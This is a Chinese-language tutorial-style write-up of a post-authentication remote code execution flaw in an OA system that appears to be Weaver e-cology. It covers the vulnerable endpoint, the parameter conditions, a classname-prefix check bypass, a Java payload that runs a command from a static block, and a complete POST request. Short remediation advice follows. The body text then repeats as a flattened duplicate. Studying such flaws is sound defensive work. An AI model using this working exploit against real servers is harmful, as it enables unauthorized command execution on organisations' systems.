某微1day后台RCE审计
字数 1443 2025-08-24 20:49:22

某微1day后台RCE漏洞分析与利用教学文档

漏洞概述

某微系统存在一处后台远程代码执行(RCE)漏洞,攻击者可通过构造特定请求在目标服务器上执行任意Java代码,最终实现命令执行。该漏洞位于InterfaceRegisterCustomOperationCmd类的execute方法中,通过newInstance实例化恶意类触发。


漏洞分析

  1. 漏洞触发点

    • 访问路径:/api/integration/workflowflow/getInterfaceRegisterCustomOperation
    • 关键方法:InterfaceRegisterCustomOperationCmd#execute
    • 漏洞函数:JavaCodeToObject(通过newInstance实例化用户可控的Java类)
  2. 利用条件

    • 认证要求:需后台权限(通过Cookie验证用户身份)。
    • 参数控制:需满足以下条件触发漏洞逻辑:
      • 请求方法为POST
      • 参数method=add
      • 参数actionid非空(如actionid=1)。
      • 参数classname需以weaver.interfaces.workflow.action.javacode.Action开头,并通过.连接重复(如classname=weaver.interfaces.workflow.action.javacode.Action.weaver.interfaces.workflow.action.javacode.Action)。
      • 参数javacode包含恶意Java代码(需在静态代码块中实现命令执行)。
      • 参数dtinfo_CustomParameterData需存在且非空(如dtinfo_CustomParameterData=11)。
  3. 关键代码逻辑

    • 检查method=add后,验证actionid非空。
    • 校验classname前缀是否为weaver.interfaces.workflow.action.javacode.Action,否则抛出异常。
    • 通过JavaCodeToObject动态编译并加载用户提供的javacode,实例化类时触发静态代码块中的恶意代码。

漏洞利用步骤

  1. 构造恶意Java类

    package weaver.interfaces.workflow.action.javacode.Action.weaver.interfaces.workflow.action.javacode;
    import java.io.IOException;
    public class Test {
        static {
            try {
                Runtime.getRuntime().exec("calc.exe"); // 替换为实际命令
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }
    
    • 注意:代码需在静态代码块中,确保类加载时自动执行。
  2. 组装请求Payload

    POST /api/integration/workflowflow/getInterfaceRegisterCustomOperation HTTP/1.1
    Host: target.com
    Content-Type: application/x-www-form-urlencoded
    Cookie: ecology_JSessionid=aaa8G6PRBnnBD82yi6Fky; loginidweaver=1
    Connection: close
    Content-Length: 548
    
    method=add&actionid=1&classname=weaver.interfaces.workflow.action.javacode.Action.weaver.interfaces.workflow.action.javacode.Test&dtinfo_CustomParameterData=11&javacode=[上述Java代码URL编码后]
    
  3. 关键参数说明

    • classname:需包含完整包路径,且通过.连接重复前缀绕过校验。
    • javacode:需URL编码,确保换行和特殊字符正确处理。
    • dtinfo_CustomParameterData:必须存在,值任意。

漏洞修复建议

  1. 输入校验

    • 严格校验classname参数,禁止用户控制类名或包路径。
    • 限制javacode参数内容,禁止动态编译用户代码。
  2. 权限控制

    • 确保接口仅对可信用户开放,加强身份认证。
  3. 安全更新

    • 升级至官方修复版本,禁用危险函数如JavaCodeToObject

注意事项

  • 实际利用时需替换Runtime.getRuntime().exec中的命令为目标系统兼容的指令(如Linux下/bin/sh -c)。
  • 测试环境需模拟后台权限,通过合法Cookie或会话凭证发送请求。

参考链接

  • 原文作者:Ha1ey
  • 漏洞发布日期:2022-12-12
  • 涉及技术点:Java反射、动态类加载、命令注入。
某微1day后台RCE漏洞分析与利用教学文档 漏洞概述 某微系统存在一处后台远程代码执行(RCE)漏洞,攻击者可通过构造特定请求在目标服务器上执行任意Java代码,最终实现命令执行。该漏洞位于 InterfaceRegisterCustomOperationCmd 类的 execute 方法中,通过 newInstance 实例化恶意类触发。 漏洞分析 漏洞触发点 访问路径: /api/integration/workflowflow/getInterfaceRegisterCustomOperation 关键方法: InterfaceRegisterCustomOperationCmd#execute 漏洞函数: JavaCodeToObject (通过 newInstance 实例化用户可控的Java类) 利用条件 认证要求 :需后台权限(通过Cookie验证用户身份)。 参数控制 :需满足以下条件触发漏洞逻辑: 请求方法为 POST 。 参数 method=add 。 参数 actionid 非空(如 actionid=1 )。 参数 classname 需以 weaver.interfaces.workflow.action.javacode.Action 开头,并通过 . 连接重复(如 classname=weaver.interfaces.workflow.action.javacode.Action.weaver.interfaces.workflow.action.javacode.Action )。 参数 javacode 包含恶意Java代码(需在静态代码块中实现命令执行)。 参数 dtinfo_CustomParameterData 需存在且非空(如 dtinfo_CustomParameterData=11 )。 关键代码逻辑 检查 method=add 后,验证 actionid 非空。 校验 classname 前缀是否为 weaver.interfaces.workflow.action.javacode.Action ,否则抛出异常。 通过 JavaCodeToObject 动态编译并加载用户提供的 javacode ,实例化类时触发静态代码块中的恶意代码。 漏洞利用步骤 构造恶意Java类 注意 :代码需在静态代码块中,确保类加载时自动执行。 组装请求Payload 关键参数说明 classname :需包含完整包路径,且通过 . 连接重复前缀绕过校验。 javacode :需URL编码,确保换行和特殊字符正确处理。 dtinfo_CustomParameterData :必须存在,值任意。 漏洞修复建议 输入校验 严格校验 classname 参数,禁止用户控制类名或包路径。 限制 javacode 参数内容,禁止动态编译用户代码。 权限控制 确保接口仅对可信用户开放,加强身份认证。 安全更新 升级至官方修复版本,禁用危险函数如 JavaCodeToObject 。 注意事项 实际利用时需替换 Runtime.getRuntime().exec 中的命令为目标系统兼容的指令(如Linux下 /bin/sh -c )。 测试环境需模拟后台权限,通过合法Cookie或会话凭证发送请求。 参考链接 原文作者:Ha1ey 漏洞发布日期:2022-12-12 涉及技术点:Java反射、动态类加载、命令注入。